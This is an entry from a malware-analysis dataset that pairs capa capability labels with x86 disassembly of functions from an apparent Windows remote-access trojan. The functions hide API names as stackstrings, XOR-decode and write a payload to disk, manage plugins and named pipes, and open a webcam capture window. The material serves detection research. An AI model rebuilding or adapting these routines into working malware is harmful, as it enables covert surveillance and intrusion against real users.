joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100078b0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Link many functions at runtime

Disassembly:
sub esp, 0x4c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.lstrlenA
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.CloseHandle
push str.KERNEL32.dll
mov dword [esp + 0x20], eax
call esi
push eax
call edi
push str.SetFilePointer
push str.KERNEL32.dll
mov dword [esp + 0x28], eax
call esi
push eax
call edi
push str.GetFileSize
push str.KERNEL32.dll
mov dword [esp + 0x1c], eax
call esi
push eax
call edi
mov ebp, eax
lea eax, [esp + 0x30]
lea ecx, [esp + 0x3c]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x44], 0x6b
mov byte [esp + 0x45], bl
mov byte [esp + 0x46], 0x72
mov byte [esp + 0x47], 0x6e
mov byte [esp + 0x48], bl
mov byte [esp + 0x49], 0x6c
mov byte [esp + 0x4a], 0x33
mov byte [esp + 0x4b], 0x32
mov byte [esp + 0x4c], 0x2e
mov byte [esp + 0x4d], 0x64
mov byte [esp + 0x4e], 0x6c
mov byte [esp + 0x4f], 0x6c
mov byte [esp + 0x50], 0
mov byte [esp + 0x38], 0x43
mov byte [esp + 0x39], 0x72
mov byte [esp + 0x3a], bl
mov byte [esp + 0x3b], 0x61
mov byte [esp + 0x3c], 0x74
mov byte [esp + 0x3d], bl
mov byte [esp + 0x3e], 0x46
mov byte [esp + 0x3f], 0x69
mov byte [esp + 0x40], 0x6c
mov byte [esp + 0x41], bl
mov byte [esp + 0x42], 0x41
mov byte [esp + 0x43], 0
call esi
push eax
call edi
mov dword [esp + 0x10], eax
mov byte [esp + 0x4c], 0x6b
mov byte [esp + 0x4d], bl
mov byte [esp + 0x4e], 0x72
mov byte [esp + 0x4f], 0x6e
mov byte [esp + 0x50], bl
mov byte [esp + 0x51], 0x6c
mov byte [esp + 0x52], 0x33
mov byte [esp + 0x53], 0x32
mov byte [esp + 0x54], 0x2e
mov byte [esp + 0x55], 0x64
mov byte [esp + 0x56], 0x6c
mov byte [esp + 0x57], 0x6c
mov byte [esp + 0x58], 0
mov byte [esp + 0x24], 0x57
mov byte [esp + 0x25], 0x72
mov byte [esp + 0x26], 0x69
mov byte [esp + 0x27], 0x74
lea edx, [esp + 0x24]
lea eax, [esp + 0x4c]
push edx
push eax
mov byte [esp + 0x30], bl
mov byte [esp + 0x31], 0x46
mov byte [esp + 0x32], 0x69
mov byte [esp + 0x33], 0x6c
mov byte [esp + 0x34], bl
mov byte [esp + 0x35], 0
call esi
push eax
call edi
mov ecx, dword [0x1001d0e8]
push 0
push 0x80
push 4
push 0
push 2
add ecx, 0xd
push 0x40000000
push ecx
mov ebx, eax
call dword [esp + 0x2c]
mov esi, eax
push 0
push esi
mov dword [esp + 0x24], 0
call ebp
cmp eax, 0x3200000
jae 0x10007a5b
push 2
push 0
push 0
push esi
call dword [esp + 0x24]
mov edx, dword [esp + 0x60]
push edx
call dword [esp + 0x1c]
mov ebp, eax
push ebp
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov edi, eax
test ebp, ebp
jle 0x10007a93
mov ecx, dword [esp + 0x60]
mov dword [esp + 0x60], ebp
sub ecx, edi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
mov edx, dword [esp + 0x60]
inc eax
dec edx
mov dword [esp + 0x60], edx
jne 0x10007a7f
lea eax, [esp + 0x1c]
push 0
push eax
push ebp
push edi
push esi
call ebx
push esi
call dword [esp + 0x24]
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x4c
ret
Function at 0x100080e0
Capabilities:
Link many functions at runtime

Disassembly:
push 0xffffffffffffffff
push 0x10015e78
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.MapViewOfFile
push str.KERNEL32.dll
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.CreateFileMappingA
push str.KERNEL32.dll
mov dword [esp + 0x18], eax
call esi
push eax
call ebx
mov ebp, eax
mov eax, dword [0x1001d0f8]
xor edi, edi
cmp eax, edi
jne 0x10008143
push str.user32.dll
call esi
mov dword [0x1001d0f8], eax
lea ecx, [esp + 0x28]
lea eax, [esp + 0x28]
push ecx
lea ecx, [esp + 0x18]
mov dword [esp + 0x18], 0x10017134
mov dword [esp + 0x1c], edi
mov dword [esp + 0x20], 0xc
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], edi
call fcn.10008310
mov dword [esp + 0x18], eax
mov dword [esp + 0x44], edi
mov edi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call edi
mov eax, dword [esp + 0x1c]
add esp, 4
neg eax
sbb eax, eax
lea edx, [esp + 0x1c]
push str.MyCreateMa
push 0x594
and eax, edx
push 0
push 4
push eax
push 0xffffffffffffffff
call ebp
push 0x30
mov dword [0x1001d0ec], eax
call edi
mov eax, dword [0x1001d0ec]
add esp, 4
test eax, eax
jne 0x10008212
mov edi, dword [esp + 0x18]
mov dword [esp + 0x44], 0xffffffff
test edi, edi
mov dword [esp + 0x14], 0x10017134
je 0x10008279
push str.HeapFree
push str.KERNEL32.dll
call esi
push eax
call ebx
test edi, edi
mov esi, eax
je 0x10008279
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call esi
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov ecx, dword [esp + 0x2c]
mov dword fs:[0], ecx
add esp, 0x38
ret
push 0x30
call edi
mov eax, dword [0x1001d0ec]
add esp, 4
push 0
push 0
push 0
push 6
push eax
call dword [esp + 0x24]
push 0x30
mov dword [0x1001d0e8], eax
call edi
mov eax, dword [0x1001d0e8]
mov edi, dword [esp + 0x1c]
add esp, 4
mov dword [esp + 0x44], 0xffffffff
test eax, eax
mov dword [esp + 0x14], 0x10017134
jne 0x1000828e
test edi, edi
je 0x10008279
push str.HeapFree
push str.KERNEL32.dll
call esi
push eax
call ebx
test edi, edi
mov esi, eax
je 0x10008279
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call esi
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov ecx, dword [esp + 0x2c]
mov dword fs:[0], ecx
add esp, 0x38
ret
test edi, edi
je 0x100082b3
push str.HeapFree
push str.KERNEL32.dll
call esi
push eax
call ebx
test edi, edi
mov esi, eax
je 0x100082b3
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call esi
mov ecx, dword [esp + 0x3c]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x38
ret
Function at 0x10008ab0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
push esi
mov esi, ecx
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 0x19], cl
mov byte [esp + 0x1e], cl
mov byte [esp + 0x1f], cl
mov cl, 0x74
mov byte [esp + 0x15], al
mov byte [esp + 0x18], al
mov byte [esp + 6], al
mov byte [esp + 9], al
mov byte [esp + 0xc], al
mov byte [esp + 8], cl
mov byte [esp + 0xe], cl
lea eax, [esp + 4]
push edi
lea ecx, [esp + 0x18]
mov dl, 0x6e
push eax
push ecx
mov dword [esi], 0x10017144
mov byte [esp + 0x20], 0x6b
mov byte [esp + 0x22], 0x72
mov byte [esp + 0x23], dl
mov byte [esp + 0x26], 0x33
mov byte [esp + 0x27], 0x32
mov byte [esp + 0x28], 0x2e
mov byte [esp + 0x29], 0x64
mov byte [esp + 0x2c], 0
mov byte [esp + 0x10], 0x43
mov byte [esp + 0x11], 0x72
mov byte [esp + 0x13], 0x61
mov byte [esp + 0x16], 0x45
mov byte [esp + 0x17], 0x76
mov byte [esp + 0x19], dl
mov byte [esp + 0x1b], 0x41
mov byte [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esp + 0x2c]
push esi
mov edi, eax
mov dword [esi + 4], ecx
call fcn.10002bf0
push 0
push 0
push 1
push 0
call edi
mov dword [esi + 8], eax
mov eax, esi
pop edi
pop esi
add esp, 0x20
ret 4

Function at 0x10008cd0
Capabilities:
Create directory

Disassembly:
push 0xffffffffffffffff
push 0x10015ea8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x14]
push ebx
push esi
push edi
mov ebx, ecx
push eax
mov dword [esp + 0x10], ebx
call fcn.10008ab0
xor eax, eax
mov ecx, 0x41
push eax
mov edi, 0x1001d0fc
push 5
mov dword [ebx], 0x1001714c
push 0x1001d0fc
push eax
rep stosd dword es:[edi], eax
mov dword [esp + 0x28], 0
call dword [0x1001c8e0]
mov edi, str.Plugin
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov edx, ecx
mov edi, 0x1001d0fc
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0x1001d0fc
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x1001d0fc
call dword [sym.imp.MSVCRT.dll_puts]
add esp, 4
lea eax, [esp + 0x20]
mov ecx, ebx
mov byte [esp + 0x20], 0x81
push 1
push eax
call fcn.10008be0
mov ecx, ebx
call fcn.10008c50
push 0
push 0
push 0
push ebx
push 0x10009400
push 0
push 0
call fcn.1000c2b0
mov ecx, dword [esp + 0x2c]
add esp, 0x1c
mov eax, ebx
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
add esp, 0x10
ret 4
Function at 0x10008df0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x40
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
lea eax, [esp + 0x14]
push edi
lea ecx, [esp + 0x30]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x38], 0x6b
mov byte [esp + 0x39], bl
mov byte [esp + 0x3a], 0x72
mov byte [esp + 0x3b], 0x6e
mov byte [esp + 0x3c], bl
mov byte [esp + 0x3d], 0x6c
mov byte [esp + 0x3e], 0x33
mov byte [esp + 0x3f], 0x32
mov byte [esp + 0x40], 0x2e
mov byte [esp + 0x41], 0x64
mov byte [esp + 0x42], 0x6c
mov byte [esp + 0x43], 0x6c
mov byte [esp + 0x44], 0
mov byte [esp + 0x20], 0x57
mov byte [esp + 0x21], 0x72
mov byte [esp + 0x22], 0x69
mov byte [esp + 0x23], 0x74
mov byte [esp + 0x24], bl
mov byte [esp + 0x25], 0x46
mov byte [esp + 0x26], 0x69
mov byte [esp + 0x27], 0x6c
mov byte [esp + 0x28], bl
mov byte [esp + 0x29], 0
call ebp
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
mov dword [esp + 0x14], eax
lea edx, [esp + 0x24]
lea eax, [esp + 0x40]
push edx
push eax
mov byte [esp + 0x48], 0x6b
mov byte [esp + 0x49], bl
mov byte [esp + 0x4a], 0x72
mov byte [esp + 0x4b], 0x6e
mov byte [esp + 0x4c], bl
mov byte [esp + 0x4d], 0x6c
mov byte [esp + 0x4e], 0x33
mov byte [esp + 0x4f], 0x32
mov byte [esp + 0x50], 0x2e
mov byte [esp + 0x51], 0x64
mov byte [esp + 0x52], 0x6c
mov byte [esp + 0x53], 0x6c
mov byte [esp + 0x54], 0
mov byte [esp + 0x2c], 0x43
mov byte [esp + 0x2d], 0x72
mov byte [esp + 0x2e], bl
mov byte [esp + 0x2f], 0x61
mov byte [esp + 0x30], 0x74
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], 0x46
mov byte [esp + 0x33], 0x69
mov byte [esp + 0x34], 0x6c
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], 0x41
mov byte [esp + 0x37], 0
call ebp
push eax
call esi
mov ecx, dword [esp + 0x5c]
push 0
push 0x80
push 4
push 0
push 3
push 0x40000000
push ecx
call eax
mov edi, eax
cmp edi, 0xffffffff
jne 0x10008f38
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x40
ret
push str.SetFilePointer
push str.KERNEL32.dll
call ebp
push eax
call esi
push 2
push 0
push 0
push edi
call eax
mov ebx, dword [esp + 0x58]
xor esi, esi
mov dword [esp + 0x10], esi
mov ecx, dword [esp + 0x54]
lea edx, [esp + 0x10]
mov eax, ebx
push 0
push edx
sub eax, esi
lea edx, [esi + ecx]
push eax
push edx
push edi
call dword [esp + 0x28]
add esi, dword [esp + 0x10]
cmp esi, ebx
jb 0x10008f5a
push str.CloseHandle
push str.KERNEL32.dll
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
call eax
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x40
ret
Function at 0x100096a0
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x10015ede
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
mov eax, dword [esp + 0x54]
push ebx
push ebp
push esi
push edi
mov esi, ecx
push eax
mov dword [esp + 0x14], esi
call fcn.10008ab0
mov dword [esp + 0x5c], 0
mov dword [esi + 0x24], 0x1001715c
mov dword [esp + 0x14], 0x7f8a
mov dword [esp + 0x18], 0x7f00
mov dword [esp + 0x1c], 0x7f03
mov dword [esp + 0x20], 0x7f89
mov dword [esp + 0x24], 0x7f8b
mov dword [esp + 0x28], 0x7f01
mov dword [esp + 0x2c], 0x7f81
mov dword [esp + 0x30], 0x7f88
mov dword [esp + 0x34], 0x7f80
mov dword [esp + 0x38], 0x7f86
mov dword [esp + 0x3c], 0x7f83
mov dword [esp + 0x40], 0x7f85
mov dword [esp + 0x44], 0x7f82
mov dword [esp + 0x48], 0x7f84
mov dword [esp + 0x4c], 0x7f04
mov dword [esp + 0x50], 0x7f02
lea ebp, [esp + 0x14]
lea edi, [esi + 0x68]
mov ebx, 0x10
mov eax, dword [ebp]
push eax
push 0
mov dword [edi - 0x40], eax
call dword [0x1001c97c]
mov dword [edi], eax
add ebp, 4
add edi, 4
dec ebx
jne 0x10009767
mov ebx, 1
push 0x110
mov byte [esp + 0x60], bl
mov dword [esi], 0x10017154
mov byte [esi + 0x13], bl
mov dword [esi + 0x18], 8
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [esp + 0x64], eax
test eax, eax
mov byte [esp + 0x5c], 2
je 0x100097c3
push 0x64
push 0
push 8
mov ecx, eax
call fcn.1000a520
jmp 0x100097c5
xor eax, eax
push ebx
push 0
push 0
push esi
push 0x10009f00
push 0
push 0
mov byte [esp + 0x78], bl
mov dword [esi + 0xa8], eax
mov byte [esi + 0x10], bl
mov byte [esi + 0x12], 0
mov byte [esi + 0x11], 0
mov byte [esi + 0x14], 0
call fcn.1000c2b0
push ebx
push 0
push 0
push esi
push 0x10009f70
push 0
push 0
mov dword [esi + 0x1c], eax
call fcn.1000c2b0
mov ecx, dword [esp + 0x8c]
add esp, 0x38
mov dword [esi + 0x20], eax
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x50
ret 4
Function at 0x10009930
Capabilities:
Link many functions at runtime

Disassembly:
push 0xffffffffffffffff
push 0x10015f03
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x18], esi
mov dword [esi], 0x10017154
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.CloseHandle
push str.KERNEL32.dll
mov dword [esp + 0x2c], 1
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.WaitForSingleObject
push str.KERNEL32.dll
mov ebp, eax
call edi
push eax
call ebx
push str.InterlockedExchange
push str.KERNEL32.dll
mov dword [esp + 0x18], eax
call edi
push eax
call ebx
lea ecx, [esi + 0x12]
push 0
push ecx
mov dword [esp + 0x1c], eax
call eax
lea edx, [esi + 0x10]
push 0
push edx
call dword [esp + 0x1c]
mov eax, dword [esi + 0x1c]
push 0xffffffffffffffff
push eax
call dword [esp + 0x18]
mov ecx, dword [esi + 0x20]
push 0xffffffffffffffff
push ecx
call dword [esp + 0x18]
mov edx, dword [esi + 0x1c]
push edx
call ebp
mov eax, dword [esi + 0x20]
push eax
call ebp
mov ecx, dword [esi + 0xa8]
test ecx, ecx
je 0x100099e5
mov edx, dword [ecx]
push 1
call dword [edx]
push str.FreeLibrary
push str.KERNEL32.dll
mov byte [esp + 0x2c], 0
mov dword [esi + 0x24], 0x1001715c
call edi
push eax
call ebx
push str.User32.dll
mov dword [esp + 0x14], eax
call edi
mov ebp, eax
push str.DestroyCursor
push ebp
call ebx
mov dword [esp + 0x14], eax
lea edi, [esi + 0x68]
mov ebx, 0x10
mov eax, dword [edi]
push eax
call dword [esp + 0x18]
add edi, 4
dec ebx
jne 0x10009a21
push ebp
call dword [esp + 0x14]
mov ecx, esi
mov dword [esp + 0x24], 0xffffffff
call fcn.10008ba0
mov ecx, dword [esp + 0x1c]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18
ret
Function at 0x1000a870
Capabilities:
Link many functions at runtime

Disassembly:
push 0xffffffffffffffff
push 0x10015f8e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
mov dword [esi], 0x10017160
mov eax, dword [esi + 0x44]
mov ecx, dword [esi + 0x10c]
push eax
push ecx
mov dword [esp + 0x24], 0
call dword [0x1001c934]
mov edx, dword [0x1001d20c]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.DeleteDC
push edx
call edi
mov ebx, eax
mov eax, dword [esi + 0x48]
push eax
call ebx
mov ecx, dword [esi + 0x4c]
push ecx
call ebx
mov edx, dword [esi + 0x50]
push edx
call ebx
mov eax, dword [esi + 0x80]
push eax
call ebx
mov ecx, dword [0x1001d20c]
push str.DeleteObject
push ecx
call edi
mov edx, dword [esi + 0x54]
mov ebx, eax
push edx
call ebx
mov eax, dword [esi + 0x58]
push eax
call ebx
mov ecx, dword [esi + 0x84]
push ecx
call ebx
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x1000a915
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, dword [esi + 0x68]
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [esi + 0x64]
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [esi + 0x6c]
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add esp, 0xc
push str.FreeLibrary
push str.KERNEL32.dll
call ebx
push eax
call edi
mov edx, dword [0x1001d20c]
push edx
call eax
push str.FreeLibrary
push str.KERNEL32.dll
mov dword [esp + 0x24], 0xffffffff
mov dword [esi + 0x88], 0x1001715c
call ebx
push eax
call edi
push str.User32.dll
mov dword [esp + 0x14], eax
call ebx
mov ebx, eax
push str.DestroyCursor
push ebx
call edi
mov ebp, eax
add esi, 0xcc
mov edi, 0x10
mov eax, dword [esi]
push eax
call ebp
add esi, 4
dec edi
jne 0x1000a994
push ebx
call dword [esp + 0x14]
mov ecx, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x1000b660
Capabilities:
Link many functions at runtime

Disassembly:
push 0xffffffffffffffff
push 0x10015fc8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x18], esi
mov dword [esi], 0x10017164
mov edi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
mov dword [esp + 0x28], 0
call edi
mov eax, dword [0x1001d214]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
add esp, 4
push str.TerminateThread
push eax
call ebx
mov ecx, dword [esi + 0x28]
push 0
mov ebp, eax
push ecx
call ebp
push 0x30
call edi
mov edx, dword [0x1001d214]
add esp, 4
push str.TerminateProcess
push edx
call ebx
push str.WaitForSingleObject
push str.KERNEL32.dll
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call ebx
mov dword [esp + 0x14], eax
mov eax, dword [esi + 0x20]
push 0
push eax
call dword [esp + 0x18]
push 0x30
call edi
mov ecx, dword [esi + 0x24]
add esp, 4
push 0
push ecx
call ebp
push 0x30
call edi
mov edx, dword [esi + 0x2c]
add esp, 4
push 0x7d0
push edx
call dword [esp + 0x1c]
push 0x30
call edi
mov eax, dword [esi + 0x2c]
add esp, 4
push 0
push eax
call ebp
mov ecx, dword [0x1001d214]
push str.DisconnectNamedPipe
push ecx
call ebx
mov edi, eax
mov eax, dword [esi + 0x10]
test eax, eax
je 0x1000b740
push eax
call edi
mov eax, dword [esi + 0x14]
test eax, eax
je 0x1000b74a
push eax
call edi
mov eax, dword [esi + 0x18]
test eax, eax
je 0x1000b754
push eax
call edi
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x1000b75e
push eax
call edi
mov edx, dword [0x1001d214]
push str.CloseHandle
push edx
call ebx
mov edi, eax
mov eax, dword [esi + 0x10]
push eax
call edi
mov ecx, dword [esi + 0x14]
push ecx
call edi
mov edx, dword [esi + 0x18]
push edx
call edi
mov eax, dword [esi + 0x1c]
push eax
call edi
mov ecx, dword [esi + 0x20]
push ecx
call edi
mov edx, dword [esi + 0x24]
push edx
call edi
mov eax, dword [esi + 0x2c]
push eax
call edi
mov ecx, dword [esi + 0x28]
push ecx
call edi
push str.FreeLibrary
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call ebx
mov edx, dword [0x1001d214]
push edx
call eax
mov ecx, esi
mov dword [esp + 0x24], 0xffffffff
call fcn.10008ba0
mov ecx, dword [esp + 0x1c]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18
ret
Function at 0x1000c2b0
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
sub esp, 0x30
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 0x15], cl
mov byte [esp + 0x1a], cl
mov byte [esp + 0x1b], cl
mov cl, 0x74
push ebx
mov byte [esp + 0x15], al
mov byte [esp + 0x18], al
mov byte [esp + 6], al
mov byte [esp + 9], al
mov byte [esp + 0xc], al
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov byte [esp + 0xc], cl
mov byte [esp + 0x12], cl
lea eax, [esp + 8]
push edi
lea ecx, [esp + 0x1c]
mov dl, 0x6e
xor ebx, ebx
push eax
push ecx
mov byte [esp + 0x24], 0x6b
mov byte [esp + 0x26], 0x72
mov byte [esp + 0x27], dl
mov byte [esp + 0x2a], 0x33
mov byte [esp + 0x2b], 0x32
mov byte [esp + 0x2c], 0x2e
mov byte [esp + 0x2d], 0x64
mov byte [esp + 0x30], bl
mov byte [esp + 0x14], 0x43
mov byte [esp + 0x15], 0x72
mov byte [esp + 0x17], 0x61
mov byte [esp + 0x1a], 0x45
mov byte [esp + 0x1b], 0x76
mov byte [esp + 0x1d], dl
mov byte [esp + 0x1f], 0x41
mov byte [esp + 0x20], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov edx, dword [esp + 0x48]
mov ecx, dword [esp + 0x4c]
push ebx
mov dword [esp + 0x30], edx
mov dl, byte [esp + 0x5c]
push ebx
push ebx
push ebx
mov dword [esp + 0x40], ecx
mov byte [esp + 0x44], dl
call eax
mov ecx, dword [esp + 0x50]
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x54]
lea edx, [esp + 0x2c]
push eax
mov eax, dword [esp + 0x48]
push ecx
mov ecx, dword [esp + 0x48]
push edx
push 0x1000c210
push eax
push ecx
call dword [sym.imp.MSVCRT.dll__beginthreadex]
add esp, 0x18
mov ebx, eax
push str.WaitForSingleObject
push str.KERNEL32.dll
call esi
push eax
call edi
mov edx, dword [esp + 0x38]
push 0xffffffffffffffff
push edx
call eax
push str.CloseHandle
push str.KERNEL32.dll
call esi
push eax
call edi
mov ecx, dword [esp + 0x38]
push ecx
call eax
pop edi
mov eax, ebx
pop esi
pop ebx
add esp, 0x30
ret
Function at 0x1000c8e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
mov esi, ecx
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 0x21], cl
mov byte [esp + 0x26], cl
mov byte [esp + 0x27], cl
mov cl, 0x74
mov byte [esp + 0x1d], al
mov byte [esp + 0x20], al
mov byte [esp + 0xe], al
mov byte [esp + 0x11], al
mov byte [esp + 0x14], al
mov byte [esp + 0x10], cl
mov byte [esp + 0x16], cl
lea eax, [esp + 0xc]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [esp + 0x20]
mov bl, 0x72
mov dl, 0x6e
push eax
push ecx
mov dword [esi], 0x10017174
mov byte [esp + 0x28], 0x6b
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2b], dl
mov byte [esp + 0x2e], 0x33
mov byte [esp + 0x2f], 0x32
mov byte [esp + 0x30], 0x2e
mov byte [esp + 0x31], 0x64
mov byte [esp + 0x34], 0
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x19], bl
mov byte [esp + 0x1b], 0x61
mov byte [esp + 0x1e], 0x45
mov byte [esp + 0x1f], 0x76
mov byte [esp + 0x21], dl
mov byte [esp + 0x23], 0x41
mov byte [esp + 0x24], 0
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
push str.user32.dll
mov ebx, eax
call edi
push 0
push 0
push 0
push 0
mov dword [0x1001d228], eax
call ebx
xor ebx, ebx
mov dword [esi + 4], eax
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
call fcn.1000cb80
test al, al
je 0x1000ca46
mov al, byte [0x1001d224]
test al, al
jne 0x1000ca46
mov edx, dword [0x1001d228]
push str.CreateWindowExA
push edx
call ebp
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x80000000
push 0x1001c9fc
push str.32770
push ebx
call eax
push 0x30
mov dword [esi + 0x10], eax
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
push str.AVICAP32.dll
call edi
mov ebx, eax
push str.capCreateCaptureWindowA
push ebx
call ebp
mov ecx, dword [esi + 0x10]
push 0
push ecx
push 0
push 0
push 0
push 0
push 0x50000000
push str.CVideoCap
call eax
push 0x30
mov dword [esi + 0x14], eax
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
push str.FreeLibrary
push str.KERNEL32.dll
call edi
push eax
call ebp
push ebx
call eax
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret